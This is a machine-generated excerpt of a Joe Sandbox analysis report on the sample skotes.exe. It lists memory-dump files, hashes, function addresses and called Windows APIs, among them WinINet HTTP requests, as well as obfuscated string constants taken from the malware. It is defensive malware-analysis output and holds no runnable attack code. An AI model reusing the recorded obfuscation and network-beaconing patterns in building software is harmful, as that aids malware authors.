Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 8ecdf41991ada2f69b570c74f77b9a10266491e9c3e45c85a1393350eadb7cda
Instruction ID: 0353687fc318050c3c4c9c49816dd2f58225c7543bd1bafa4354c0ae6a7fb851
Opcode Fuzzy Hash: 8ecdf41991ada2f69b570c74f77b9a10266491e9c3e45c85a1393350eadb7cda
Instruction Fuzzy Hash: F1213272A01119EFDF01EFA4ED859BEB7B9EF09710F104015F501B7291DB38AD019BA0

Function 007BF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 007BF3A3

Strings

8"~, xrefs: 007BF44B
`'~, xrefs: 007BF375

Memory Dump Source

Source File: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2170211778.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2170404472.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171442729.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171459289.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2171550064.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172474244.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172490288.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172541595.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172555832.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172571587.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172590389.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172610949.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172629842.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172646732.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172663931.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172686050.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172704006.00000000009A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172720447.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172763709.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172780765.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172796117.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172815047.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172834146.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172854879.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172871079.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172885621.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172903150.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172918565.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172934891.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172949520.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172964766.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172979559.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2172994808.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173009975.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173059389.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173074949.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173089820.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173105060.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173119264.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173140547.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2173152782.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"~$`'~
API String ID: 3903695350-10081231
Opcode ID: 0b34aadf12cbb0d247cf52cf520ac0e4caec4f3d63730e3699f0dac047d62a06
Instruction ID: 57ce17a0b5eb027aa8e997ea0ce86c989c2f93aa9d63570e0661dc64cbfde434
Opcode Fuzzy Hash: 0b34aadf12cbb0d247cf52cf520ac0e4caec4f3d63730e3699f0dac047d62a06
Instruction Fuzzy Hash: 58313931600646EFEB21AA39DC49BDBB3E8EF00752F14442AE459D7599DF79AC80CB21

Analysis Process: skotes.exePID: 6508, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	833
Total number of Limit Nodes:	54

Executed Functions

Function 0078E530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 968
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

111, xrefs: 0078F7A0
GnNoc2Hc, xrefs: 0078E56C
UA==, xrefs: 0078EB0F, 0078ED56
WDw=, xrefs: 0078F71D, 0078F9FA
9c9aa5, xrefs: 0078FB8E
L1~, xrefs: 0078F7E5
MGE+, xrefs: 0078E821
WTs=, xrefs: 007905CA
#, xrefs: 00790624
246122658369, xrefs: 0078F737, 0078FA14, 007905E7, 0079099A
WTw=, xrefs: 0079097D
MQ==, xrefs: 0078E592

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1~$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-816222973
Opcode ID: 17acbf2a1e299f01b02a1d40cf37bb206cedbbcfbfd96b720595e0e64c151bbf
Instruction ID: 6315f50e1e08cbf26f8db5a96b7d99c586895d5442bfad5f6046e5ae12b7b8ae
Opcode Fuzzy Hash: 17acbf2a1e299f01b02a1d40cf37bb206cedbbcfbfd96b720595e0e64c151bbf
Instruction Fuzzy Hash: 7182C270A14288DBEF14EF68C949BDE7FB5EB06304F508598E805673C2D7795A88CBD2

Function 007C2517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,007D6758), ref: 007C275C

Strings

Xg}, xrefs: 007C2705, 007C270B
Eastern Standard Time, xrefs: 007C27CB
Eastern Summer Time, xrefs: 007C27FA

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg}
API String ID: 565725191-4203849679
Opcode ID: 5c0055a00bddae7d76b9c208adadaddd151829dbfd0a5432f034999cc60f05fe
Instruction ID: 4cd16ce4b1add7b4a21ccd32c13c707f451550fa2d25b05e5e2c557ca11e7215
Opcode Fuzzy Hash: 5c0055a00bddae7d76b9c208adadaddd151829dbfd0a5432f034999cc60f05fe
Instruction Fuzzy Hash: 91C12771A00245EFDB10AF689C85FAA7BB9EF55350F24409DE580A7253EB3D8E43C760

Function 0078EB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0078EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0078ED98

Strings

UA==, xrefs: 0078EC41, 0078ED56, 0078EF89, 0078F2CE
WDw=, xrefs: 0078F71D, 0078F9FA, 0078FDE3
stoi argument out of range, xrefs: 007908C4
9c9aa5, xrefs: 0078FB8E
GiQaT29tduF=, xrefs: 0078FEB6
L1~, xrefs: 0078F7E5
FCQgKF==, xrefs: 0078FEE4
246122658369, xrefs: 0078F737, 0078FA14, 0078FE00, 007905E7
mxo1L0x, xrefs: 0078EE84
111, xrefs: 0078F7A0
invalid stoi argument, xrefs: 007908B0
WTs=, xrefs: 007905CA
#, xrefs: 00790624
FisgLnsCZO1i, xrefs: 0078FF19

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1~$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-1196417502
Opcode ID: 5f9dc0f2a4ec0f870f08fb9b1a7dcd6436560fea8e76732eeb2d4050675a78d7
Instruction ID: 274f928dd8905067f881ac046d007033b24e6ba57814b834d03ef6d18f0b21fd
Opcode Fuzzy Hash: 5f9dc0f2a4ec0f870f08fb9b1a7dcd6436560fea8e76732eeb2d4050675a78d7
Instruction Fuzzy Hash: 61F24B71A10148DBEF18EB78DD8DB9D7B72AF42304F54819CE408973D6EB3D9A848B91

Function 0078BE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,DEE27865,?,00000000), ref: 0078BEB8
InternetOpenW.WININET(007D8DC8,00000000,00000000,00000000,00000000), ref: 0078BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0078BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 0078BF35
HttpSendRequestA.WININET(?,00000000), ref: 0078BFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 0078C0A7
InternetCloseHandle.WININET(?), ref: 0078C187
InternetCloseHandle.WININET(?), ref: 0078C18F
InternetCloseHandle.WININET(?), ref: 0078C197

Strings

invalid stoi argument, xrefs: 0078E4F4
8HJUeIfzLo==, xrefs: 0078C3CB, 0078C623
stoi argument out of range, xrefs: 0078E4EA
RE1NXF==, xrefs: 0078BF0E
8HJUeMD Lq5=, xrefs: 0078C465

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
